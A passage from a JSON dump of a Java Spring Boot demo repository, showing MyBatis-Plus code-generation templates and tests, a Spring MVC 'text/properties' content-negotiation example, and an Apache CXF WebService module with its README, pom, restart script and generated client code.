    "content": "package ${package}.${moduleName}.service.impl;\n\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\nimport ${package}.${moduleName}.entity.${className};\nimport ${package}.${moduleName}.mapper.${className}Mapper;\nimport ${package}.${moduleName}.service.${className}Service;\nimport org.springframework.stereotype.Service;\n\n/**\n * <p>\n * ${comments}\n * </p>\n *\n * @package: ${package}.${moduleName}.service.impl\n * @description: ${comments}\n * @author: ${author}\n * @date: Created in ${datetime}\n * @copyright: Copyright (c) ${year}\n * @version: V1.0\n * @modified: ${author}\n */\n@Service\npublic class ${className}ServiceImpl extends ServiceImpl<${className}Mapper, ${className}> implements ${className}Service {\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_codegen/src/main/resources/template/api.js.vm",
    "content": "import request from '@/router/axios'\n\n/**\n * 分页查询${comments}\n * @param query 分页查询条件\n */\nexport function fetchList(query) {\n  return request({\n    url: '/${moduleName}/${pathName}',\n    method: 'get',\n    params: query\n  })\n}\n\n/**\n * 新增${comments}\n * @param obj ${comments}\n */\nexport function addObj(obj) {\n  return request({\n    url: '/${moduleName}/${pathName}',\n    method: 'post',\n    data: obj\n  })\n}\n\n/**\n * 通过id查询${comments}\n * @param id 主键\n */\nexport function getObj(id) {\n  return request({\n    url: '/${moduleName}/${pathName}/' + id,\n    method: 'get'\n  })\n}\n\n/**\n * 通过id删除${comments}\n * @param id 主键\n */\nexport function delObj(id) {\n  return request({\n    url: '/${moduleName}/${pathName}/' + id,\n    method: 'delete'\n  })\n}\n\n/**\n * 修改${comments}\n * @param id 主键\n * @param obj ${comments}\n */\nexport function putObj(id, obj) {\n  return request({\n    url: '/${moduleName}/${pathName}/' + id,\n    method: 'put',\n    data: obj\n  })\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_codegen/src/test/java/com/jun/plugin/codegen/CodeGenServiceTest.java",
    "content": "package com.jun.plugin.codegen;\n\nimport cn.hutool.core.io.IoUtil;\nimport cn.hutool.db.Entity;\nimport lombok.SneakyThrows;\nimport lombok.extern.slf4j.Slf4j;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\nimport com.jun.plugin.codegen.common.PageResult;\nimport com.jun.plugin.codegen.entity.GenConfig;\nimport com.jun.plugin.codegen.entity.TableRequest;\nimport com.jun.plugin.codegen.service.CodeGenService;\n\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.OutputStream;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\n@Slf4j\npublic class CodeGenServiceTest {\n    @Autowired\n    private CodeGenService codeGenService;\n\n    @Test\n    public void testTablePage() {\n        TableRequest request = new TableRequest();\n        request.setCurrentPage(1);\n        request.setPageSize(10);\n        request.setPrepend(\"jdbc:mysql://\");\n        request.setUrl(\"127.0.0.1:3306/spring-boot-demo\");\n        request.setUsername(\"root\");\n        request.setPassword(\"root\");\n        request.setTableName(\"sec_\");\n        PageResult<Entity> pageResult = codeGenService.listTables(request);\n        log.info(\"【pageResult】= {}\", pageResult);\n    }\n\n    @Test\n    @SneakyThrows\n    public void testGeneratorCode() {\n        GenConfig config = new GenConfig();\n\n        TableRequest request = new TableRequest();\n        request.setPrepend(\"jdbc:mysql://\");\n        request.setUrl(\"127.0.0.1:3306/spring-boot-demo\");\n        request.setUsername(\"root\");\n        request.setPassword(\"root\");\n        request.setTableName(\"shiro_user\");\n        config.setRequest(request);\n\n        config.setModuleName(\"shiro\");\n        config.setAuthor(\"Wujun\");\n        config.setComments(\"用户角色信息\");\n        config.setPackageName(\"com.jun.plugin\");\n        config.setTablePrefix(\"shiro_\");\n\n        byte[] zip = codeGenService.generatorCode(config);\n        OutputStream outputStream = new FileOutputStream(new File(\"/Users/yangkai.shen/Desktop/\" + request.getTableName() + \".zip\"));\n        IoUtil.write(outputStream, true, zip);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_codegen/src/test/java/com/jun/plugin/codegen/SpringBootDemoCodegenApplicationTests.java",
    "content": "package com.jun.plugin.codegen;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class SpringBootDemoCodegenApplicationTests {\n\n    @Test\n    public void contextLoads() {\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_content_negotiation/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.1.0.RELEASE</version>\n        <relativePath/> <!-- lookup parent from repository -->\n    </parent>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>springboot_content_negotiation</artifactId>\n    <version>1.0</version>\n\n    <properties>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_content_negotiation/src/main/java/com/example/demo/DemoApplication.java",
    "content": "package com.example.demo;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class DemoApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(DemoApplication.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_content_negotiation/src/main/java/com/example/demo/config/WebConfigurer.java",
    "content": "package com.example.demo.config;\n\nimport com.example.demo.converter.PropertiesHttpMessageConverter;\nimport com.example.demo.handler.PropertiesHandlerMethodReturnValueHandler;\nimport com.example.demo.resolver.PropertiesHandlerMethodArgumentResolver;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.http.converter.HttpMessageConverter;\nimport org.springframework.web.method.support.HandlerMethodArgumentResolver;\nimport org.springframework.web.method.support.HandlerMethodReturnValueHandler;\nimport org.springframework.web.servlet.config.annotation.WebMvcConfigurer;\nimport org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter;\n\nimport javax.annotation.PostConstruct;\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * @author MrBird\n */\n@Configuration\npublic class WebConfigurer implements WebMvcConfigurer {\n\n\n    @Autowired\n    private RequestMappingHandlerAdapter requestMappingHandlerAdapter;\n\n    @PostConstruct\n    public void init() {\n        // 获取当前 RequestMappingHandlerAdapter 所有的 ArgumentResolver对象\n        List<HandlerMethodArgumentResolver> argumentResolvers = requestMappingHandlerAdapter.getArgumentResolvers();\n        List<HandlerMethodArgumentResolver> newArgumentResolvers = new ArrayList<>(argumentResolvers.size() + 1);\n        // 添加 PropertiesHandlerMethodArgumentResolver 到集合第一个位置\n        newArgumentResolvers.add(0, new PropertiesHandlerMethodArgumentResolver());\n        // 将原 ArgumentResolver 添加到集合中\n        newArgumentResolvers.addAll(argumentResolvers);\n        // 重新设置 ArgumentResolver对象集合\n        requestMappingHandlerAdapter.setArgumentResolvers(newArgumentResolvers);\n\n        // 获取当前 RequestMappingHandlerAdapter 所有的 returnValueHandlers对象\n        List<HandlerMethodReturnValueHandler> returnValueHandlers = requestMappingHandlerAdapter.getReturnValueHandlers();\n        List<HandlerMethodReturnValueHandler> newReturnValueHandlers = new ArrayList<>(returnValueHandlers.size() + 1);\n        // 添加 PropertiesHandlerMethodReturnValueHandler 到集合第一个位置\n        newReturnValueHandlers.add(0, new PropertiesHandlerMethodReturnValueHandler());\n        // 将原 returnValueHandlers 添加到集合中\n        newReturnValueHandlers.addAll(returnValueHandlers);\n        // 重新设置 ReturnValueHandlers对象集合\n        requestMappingHandlerAdapter.setReturnValueHandlers(newReturnValueHandlers);\n    }\n\n    public void extendMessageConverters(List<HttpMessageConverter<?>> converters) {\n        // converters.add(new PropertiesHttpMessageConverter());\n        // 指定顺序，这里为第一个\n        converters.add(0, new PropertiesHttpMessageConverter());\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_content_negotiation/src/main/java/com/example/demo/controller/TestController.java",
    "content": "package com.example.demo.controller;\n\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RequestBody;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport java.util.Properties;\n\n/**\n * @author MrBird\n */\n// @RestController\n@Controller\npublic class TestController {\n\n    @GetMapping(value = \"test\", consumes = \"text/properties\")\n    @ResponseBody\n    public Properties getUser(@RequestBody Properties properties) {\n        return properties;\n    }\n\n    @GetMapping(value = \"test1\", consumes = \"text/properties\")\n    // @ResponseBody\n    public Properties getUser1(Properties properties) {\n        return properties;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_content_negotiation/src/main/java/com/example/demo/converter/PropertiesHttpMessageConverter.java",
    "content": "package com.example.demo.converter;\n\nimport org.springframework.http.HttpHeaders;\nimport org.springframework.http.HttpInputMessage;\nimport org.springframework.http.HttpOutputMessage;\nimport org.springframework.http.MediaType;\nimport org.springframework.http.converter.AbstractGenericHttpMessageConverter;\nimport org.springframework.http.converter.HttpMessageNotReadableException;\nimport org.springframework.http.converter.HttpMessageNotWritableException;\n\nimport java.io.*;\nimport java.lang.reflect.Type;\nimport java.nio.charset.Charset;\nimport java.util.Properties;\n\n/**\n * @author MrBird\n */\npublic class PropertiesHttpMessageConverter extends AbstractGenericHttpMessageConverter<Properties> {\n\n    public PropertiesHttpMessageConverter() {\n        super(new MediaType(\"text\", \"properties\"));\n    }\n\n    @Override\n    protected void writeInternal(Properties properties, Type type, HttpOutputMessage outputMessage) throws IOException, HttpMessageNotWritableException {\n        // 获取请求头\n        HttpHeaders headers = outputMessage.getHeaders();\n        // 获取 content-type\n        MediaType contentType = headers.getContentType();\n        // 获取编码\n        Charset charset = null;\n        if (contentType != null) {\n            charset = contentType.getCharset();\n        }\n\n        charset = charset == null ? Charset.forName(\"UTF-8\") : charset;\n\n        // 获取请求体\n        OutputStream body = outputMessage.getBody();\n        OutputStreamWriter outputStreamWriter = new OutputStreamWriter(body, charset);\n\n        properties.store(outputStreamWriter, \"Serialized by PropertiesHttpMessageConverter#writeInternal\");\n    }\n\n    @Override\n    protected Properties readInternal(Class<? extends Properties> clazz, HttpInputMessage inputMessage) throws IOException, HttpMessageNotReadableException {\n        Properties properties = new Properties();\n        // 获取请求头\n        HttpHeaders headers = inputMessage.getHeaders();\n        // 获取 content-type\n        MediaType contentType = headers.getContentType();\n        // 获取编码\n        Charset charset = null;\n        if (contentType != null) {\n            charset = contentType.getCharset();\n        }\n\n        charset = charset == null ? Charset.forName(\"UTF-8\") : charset;\n\n        // 获取请求体\n        InputStream body = inputMessage.getBody();\n        InputStreamReader inputStreamReader = new InputStreamReader(body, charset);\n\n        properties.load(inputStreamReader);\n        return properties;\n    }\n\n    @Override\n    public Properties read(Type type, Class<?> contextClass, HttpInputMessage inputMessage) throws IOException, HttpMessageNotReadableException {\n        return readInternal(null, inputMessage);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_content_negotiation/src/main/java/com/example/demo/handler/PropertiesHandlerMethodReturnValueHandler.java",
    "content": "package com.example.demo.handler;\n\nimport org.springframework.core.MethodParameter;\nimport org.springframework.http.HttpHeaders;\nimport org.springframework.http.MediaType;\nimport org.springframework.http.server.ServletServerHttpResponse;\nimport org.springframework.web.context.request.NativeWebRequest;\nimport org.springframework.web.context.request.ServletWebRequest;\nimport org.springframework.web.method.support.HandlerMethodReturnValueHandler;\nimport org.springframework.web.method.support.ModelAndViewContainer;\n\nimport javax.servlet.http.HttpServletResponse;\nimport java.io.OutputStream;\nimport java.io.OutputStreamWriter;\nimport java.nio.charset.Charset;\nimport java.util.Properties;\n\n/**\n * @author MrBird\n */\npublic class PropertiesHandlerMethodReturnValueHandler implements HandlerMethodReturnValueHandler {\n\n    @Override\n    public boolean supportsReturnType(MethodParameter returnType) {\n        return Properties.class.equals(returnType.getMethod().getReturnType());\n    }\n\n    @Override\n    public void handleReturnValue(Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {\n        Properties properties = (Properties) returnValue;\n\n        ServletWebRequest servletWebRequest = (ServletWebRequest) webRequest;\n\n        HttpServletResponse response = servletWebRequest.getResponse();\n        ServletServerHttpResponse servletServerHttpResponse = new ServletServerHttpResponse(response);\n\n        // 获取请求头\n        HttpHeaders headers = servletServerHttpResponse.getHeaders();\n\n        MediaType contentType = headers.getContentType();\n        // 获取编码\n        Charset charset = null;\n        if (contentType != null) {\n            charset = contentType.getCharset();\n        }\n\n        charset = charset == null ? Charset.forName(\"UTF-8\") : charset;\n\n        // 获取请求体\n        OutputStream body = servletServerHttpResponse.getBody();\n        OutputStreamWriter outputStreamWriter = new OutputStreamWriter(body, charset);\n\n        properties.store(outputStreamWriter, \"Serialized by PropertiesHandlerMethodReturnValueHandler#handleReturnValue\");\n\n        // 告诉 Spring MVC 请求已经处理完毕\n        mavContainer.setRequestHandled(true);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_content_negotiation/src/main/java/com/example/demo/resolver/PropertiesHandlerMethodArgumentResolver.java",
    "content": "package com.example.demo.resolver;\n\nimport org.springframework.core.MethodParameter;\nimport org.springframework.http.MediaType;\nimport org.springframework.web.bind.support.WebDataBinderFactory;\nimport org.springframework.web.context.request.NativeWebRequest;\nimport org.springframework.web.context.request.ServletWebRequest;\nimport org.springframework.web.method.support.HandlerMethodArgumentResolver;\nimport org.springframework.web.method.support.ModelAndViewContainer;\n\nimport javax.servlet.http.HttpServletRequest;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.nio.charset.Charset;\nimport java.util.Properties;\n\n/**\n * @author MrBird\n */\npublic class PropertiesHandlerMethodArgumentResolver implements HandlerMethodArgumentResolver {\n    @Override\n    public boolean supportsParameter(MethodParameter parameter) {\n        return Properties.class.equals(parameter.getParameterType());\n    }\n\n    @Override\n    public Object resolveArgument(MethodParameter parameter, ModelAndViewContainer mavContainer, NativeWebRequest webRequest, WebDataBinderFactory binderFactory) throws Exception {\n        ServletWebRequest servletWebRequest = (ServletWebRequest) webRequest;\n        HttpServletRequest request = servletWebRequest.getRequest();\n        String contentType = request.getHeader(\"Content-Type\");\n\n        MediaType mediaType = MediaType.parseMediaType(contentType);\n        // 获取编码\n        Charset charset = mediaType.getCharset() == null ? Charset.forName(\"UTF-8\") : mediaType.getCharset();\n        // 获取输入流\n        InputStream inputStream = request.getInputStream();\n        InputStreamReader inputStreamReader = new InputStreamReader(inputStream, charset);\n\n        // 输入流转换为 Properties\n        Properties properties = new Properties();\n        properties.load(inputStreamReader);\n        return properties;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_content_negotiation/src/main/resources/application.properties",
    "content": "\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_content_negotiation/src/test/java/com/example/demo/DemoApplicationTests.java",
    "content": "package com.example.demo;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class DemoApplicationTests {\n\n    @Test\n    public void contextLoads() {\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cxf/.gitignore",
    "content": "# 此为注释– 将被Git 忽略\n# /结尾表示是目录，忽略目录和目录下的所有件\n# /开头表示根目录，否则是.gitignore的相对目录\n# !开头表示反选\n.idea/\ntarget/\n*.iml\n*.ipr\n*.iws\n*.log\n.svn/\n.project\nrebel.xml\n.rebel-remote.xml.*\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cxf/README.md",
    "content": "## 实现WebService\n\n利用Apache CXF实现WebService\n\n启动之后，wsdl访问链接：<http://localhost:8092/services/CommonService?wsdl>\n\n## 客户端动态代理调用\n\n这个在单元测试类ApplicationTests中有演示，这里要注意的是model类的包名一定要放到指定的路径下。\n也就是targetNamespace的倒叙包名中。\n\n## 客户端代码生成\n\n有两种方式生成客户端调用代码\n\n**Apache的wsdl2java工具**\n\n```\nwsdl2java -autoNameResolution http://xxx?wsdl\n```\n\n**JDK自带的工具（推荐）**\n\n```\nwsimport -encoding utf-8 -p com.xncoding.webservice.client -keep http://xxx?wsdl -s d:/ws -B-XautoNameResolution\n```\n\n其中：\n\n```\n-encoding ：指定编码格式（此处是utf-8的指定格式）\n-keep：是否生成Java源文件\n-s：指定.java文件的输出目录\n-d：指定.class文件的输出目录\n-p：定义生成类的包名，不定义的话有默认包名\n-verbose：在控制台显示输出信息\n-b：指定jaxws/jaxb绑定文件或额外的schemas\n-extension：使用扩展来支持SOAP1.2\n```\n\n生成的客户端代码不能改包名\n\n``` java\nCommonService_Service c = new CommonService_Service();\ncom.xncoding.webservice.client.model.User user = c.getCommonServiceImplPort().getUser(\"Tom\");\nassertThat(user.getName(), is(\"Tom\"));\n```\n\n## 测试步骤\n\n先启动springboot项目，然后执行`com.xncoding.webservice.ApplicationTests`单元测试类。\n\n## 许可证\n\nCopyright (c) 2018 Xiong Neng\n\n基于 MIT 协议发布: <http://www.opensource.org/licenses/MIT>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cxf/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_cxf</artifactId>\n\t<version>1.0</version>\n    <packaging>jar</packaging>\n\n    <description>CXF实现WebService</description>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.5.14</version>\n        <relativePath></relativePath>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n            <exclusions>\n                <exclusion>\n                    <groupId>org.springframework.boot</groupId>\n                    <artifactId>spring-boot-starter-tomcat</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-jetty</artifactId>\n        </dependency>\n\n        <!-- CXF webservice -->\n        <dependency>\n            <groupId>org.apache.cxf</groupId>\n            <artifactId>cxf-spring-boot-starter-jaxws</artifactId>\n            <version>3.2.4</version>\n        </dependency>\n        <!-- CXF webservice -->\n\n\n        <!-- 1. JAX-WS API 核心依赖 -->\n        <dependency>\n            <groupId>javax.xml.ws</groupId>\n            <artifactId>jaxws-api</artifactId>\n            <version>2.3.1</version>\n        </dependency>\n\n        <!-- 2. JSR-181 (javax.jws.* 注解) -->\n        <dependency>\n            <groupId>javax.jws</groupId>\n            <artifactId>javax.jws-api</artifactId>\n            <version>1.1</version>\n        </dependency>\n\n        <!-- 3. JAXB API (javax.xml.bind.*，XmlSeeAlso 依赖) -->\n        <dependency>\n            <groupId>javax.xml.bind</groupId>\n            <artifactId>jaxb-api</artifactId>\n            <version>2.3.1</version>\n        </dependency>\n\n        <!-- 4. 可选：JAX-WS 实现（如果需要运行时调用/发布服务） -->\n        <dependency>\n            <groupId>com.sun.xml.ws</groupId>\n            <artifactId>jaxws-rt</artifactId>\n            <version>2.3.5</version>\n            <scope>runtime</scope>\n        </dependency>\n\n        <!-- 5. 可选：JAXB 实现（Java 9+ 需显式引入） -->\n        <dependency>\n            <groupId>com.sun.xml.bind</groupId>\n            <artifactId>jaxb-impl</artifactId>\n            <version>2.3.5</version>\n            <scope>runtime</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.hamcrest</groupId>\n            <artifactId>hamcrest-all</artifactId>\n            <version>1.3</version>\n            <scope>test</scope>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.6.1</version>\n                <configuration>\n                    <!--<proc>none</proc>-->\n                    <source>1.8</source>\n                    <target>1.8</target>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-surefire-plugin</artifactId>\n                <version>2.20</version>\n                <configuration>\n                    <skip>true</skip>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <executions>\n                </executions>\n            </plugin>\n        </plugins>\n\n        <resources>\n            <resource>\n                <directory>src/main/resources</directory>\n            </resource>\n            <resource>\n                <directory>src/main/java</directory>\n                <includes>\n                    <include>**/*.xml</include>\n                </includes>\n            </resource>\n        </resources>\n    </build>\n\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_cxf/run.sh",
    "content": "#!/bin/bash\n# 项目自动更新脚本\n# 先clone相应的分支下来：\n# git clone ssh://git@120.24.173.142:7999/xxx.git\n# 远程调试启动：\n# nohup java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\n\nfunction start {\n    profile=\"$1\"\n    echo \"启动环境profile=${profile}\"\n    jarfile=$(ls target/*.jar)\n    if [[ \"$?\" == \"0\" ]]; then\n        stop $profile $jarfile\n    fi\n    branch=$(git branch |awk '{print $2}')\n    git pull origin ${branch}\n    echo \"更新完代码开始重新打包\"\n    mvn clean && mvn clean && mvn package -DskipTests=true\n    if [[ \"$?\" != \"0\" ]]; then\n        echo \"编译出错，退出！\"\n        exit 1\n    fi\n    echo \"nohup java -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\"\n    nohup java -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\n    echo \"启动应用中，请查看日志文件...\"\n}\n\nfunction stop {\n    profile=\"$1\"\n    jarfile=\"$2\"\n    ps aux | grep \"${jarfile}\" | grep \"spring.profiles.active=${profile}\" | grep -v grep > /dev/null\n    if [[ \"$?\" == \"0\" ]]; then\n        echo \"该应用还在跑，我先停了它\"\n        pid=$(ps aux | grep \"${jarfile}\" | grep \"spring.profiles.active=${profile}\" | grep -v grep |awk '{print $2}')\n        if [[ \"$pid\" != \"\" ]]; then\n            kill -9 $pid\n        fi\n        echo \"停止应用成功...\"\n    fi\n}\n\nif [[ \"$1\" == \"start\" ]]; then\n    if [[ \"$#\" < 2 ]]; then\n        echo \"请输入正确参数：./epay.sh start {profile}\"\n        exit 1\n    fi\n    profile=\"$2\"\n    if [[ \"$profile\" != \"dev\" && \"$profile\" != \"test\" && \"$profile\" != \"show\" && \"$profile\" != \"production\" ]]; then\n        echo \"参数错误，请输入正确的profile参数，使用方法：\"\n        echo \"./epay.sh start {profile}    ==> 启动应用，{profile}取值：dev|test|show|production\"\n        exit 1\n    fi\n    start \"${profile}\"\nelif [[ \"$1\" == \"stop\" ]]; then\n    if [[ \"$#\" < 2 ]]; then\n        echo \"请输入正确参数：./epay.sh stop  {profile}\"\n        exit 1\n    fi\n    profile=\"$2\"\n    if [[ \"$profile\" != \"dev\" && \"$profile\" != \"test\" && \"$profile\" != \"show\" && \"$profile\" != \"production\" ]]; then\n        echo \"参数错误，请输入正确的profile参数，使用方法：\"\n        echo \"./epay.sh stop {profile}     ==> 停止应用，{profile}取值：dev|test|show|production\"\n        exit 1\n    fi\n    jarfile=$(ls target/*.jar)\n    stop $profile $jarfile\nelse\n    echo \"参数错误，使用方法：{}参数是必填的，[]参数可选\"\n    echo \"./epay.sh start {profile}    ==> 启动应用，{profile}取值：dev|test|show|production\"\n    echo \"./epay.sh stop  {profile}    ==> 停止应用，{profile}取值：dev|test|show|production\"\n    exit 1\nfi\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cxf/src/main/java/com/xncoding/webservice/Application.java",
    "content": "package com.xncoding.webservice;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class Application {\n    public static void main(String[] args) {\n        SpringApplication.run(Application.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cxf/src/main/java/com/xncoding/webservice/client/CommonService.java",
    "content": "\npackage com.xncoding.webservice.client;\n\nimport javax.jws.WebMethod;\nimport javax.jws.WebParam;\nimport javax.jws.WebResult;\nimport javax.jws.WebService;\nimport javax.xml.bind.annotation.XmlSeeAlso;\nimport javax.xml.ws.RequestWrapper;\nimport javax.xml.ws.ResponseWrapper;\n\n\n/**\n * This class was generated by the JAX-WS RI.\n * JAX-WS RI 2.2.9-b130926.1035\n * Generated source version: 2.2\n * \n */\n@WebService(name = \"CommonService\", targetNamespace = \"http://model.webservice.xncoding.com/\")\n@XmlSeeAlso({\n    ObjectFactory.class\n})\npublic interface CommonService {\n\n\n    /**\n     * \n     * @param userName\n     * @return\n     *     returns com.xncoding.webservice.client.User\n     */\n    @WebMethod\n    @WebResult(targetNamespace = \"\")\n    @RequestWrapper(localName = \"getUser\", targetNamespace = \"http://model.webservice.xncoding.com/\", className = \"com.xncoding.webservice.client.GetUser\")\n    @ResponseWrapper(localName = \"getUserResponse\", targetNamespace = \"http://model.webservice.xncoding.com/\", className = \"com.xncoding.webservice.client.GetUserResponse\")\n    public User getUser(\n            @WebParam(name = \"userName\", targetNamespace = \"\")\n                    String userName);\n\n    /**\n     * \n     * @param userName\n     * @return\n     *     returns java.lang.String\n     */\n    @WebMethod\n    @WebResult(targetNamespace = \"\")\n    @RequestWrapper(localName = \"sayHello\", targetNamespace = \"http://model.webservice.xncoding.com/\", className = \"com.xncoding.webservice.client.SayHello\")\n    @ResponseWrapper(localName = \"sayHelloResponse\", targetNamespace = \"http://model.webservice.xncoding.com/\", className = \"com.xncoding.webservice.client.SayHelloResponse\")\n    public String sayHello(\n            @WebParam(name = \"userName\", targetNamespace = \"\")\n                    String userName);\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cxf/src/main/java/com/xncoding/webservice/client/CommonService_Service.java",
    "content": "\npackage com.xncoding.webservice.client;\n\nimport java.net.MalformedURLException;\nimport java.net.URL;\nimport javax.xml.namespace.QName;\nimport javax.xml.ws.Service;\nimport javax.xml.ws.WebEndpoint;\nimport javax.xml.ws.WebServiceClient;\nimport javax.xml.ws.WebServiceException;\nimport javax.xml.ws.WebServiceFeature;\n\n\n/**\n * This class was generated by the JAX-WS RI.\n * JAX-WS RI 2.2.9-b130926.1035\n * Generated source version: 2.2\n * \n */\n@WebServiceClient(name = \"CommonService\", targetNamespace = \"http://model.webservice.xncoding.com/\", wsdlLocation = \"http://localhost:8092/services/CommonService?wsdl\")\npublic class CommonService_Service\n    extends Service\n{\n\n    private final static URL COMMONSERVICE_WSDL_LOCATION;\n    private final static WebServiceException COMMONSERVICE_EXCEPTION;\n    private final static QName COMMONSERVICE_QNAME = new QName(\"http://model.webservice.xncoding.com/\", \"CommonService\");\n\n    static {\n        URL url = null;\n        WebServiceException e = null;\n        try {\n            url = new URL(\"http://localhost:8092/services/CommonService?wsdl\");\n        } catch (MalformedURLException ex) {\n            e = new WebServiceException(ex);\n        }\n        COMMONSERVICE_WSDL_LOCATION = url;\n        COMMONSERVICE_EXCEPTION = e;\n    }\n\n    public CommonService_Service() {\n        super(__getWsdlLocation(), COMMONSERVICE_QNAME);\n    }\n\n    public CommonService_Service(WebServiceFeature... features) {\n        super(__getWsdlLocation(), COMMONSERVICE_QNAME, features);\n    }\n\n    public CommonService_Service(URL wsdlLocation) {\n        super(wsdlLocation, COMMONSERVICE_QNAME);\n    }\n\n    public CommonService_Service(URL wsdlLocation, WebServiceFeature... features) {\n        super(wsdlLocation, COMMONSERVICE_QNAME, features);\n    }\n\n    public CommonService_Service(URL wsdlLocation, QName serviceName) {\n        super(wsdlLocation, serviceName);\n    }\n\n    public CommonService_Service(URL wsdlLocation, QName serviceName, WebServiceFeature... features) {\n        super(wsdlLocation, serviceName, features);\n    }\n\n    /**\n     * \n     * @return\n     *     returns CommonService\n     */\n    @WebEndpoint(name = \"CommonServiceImplPort\")\n    public CommonService 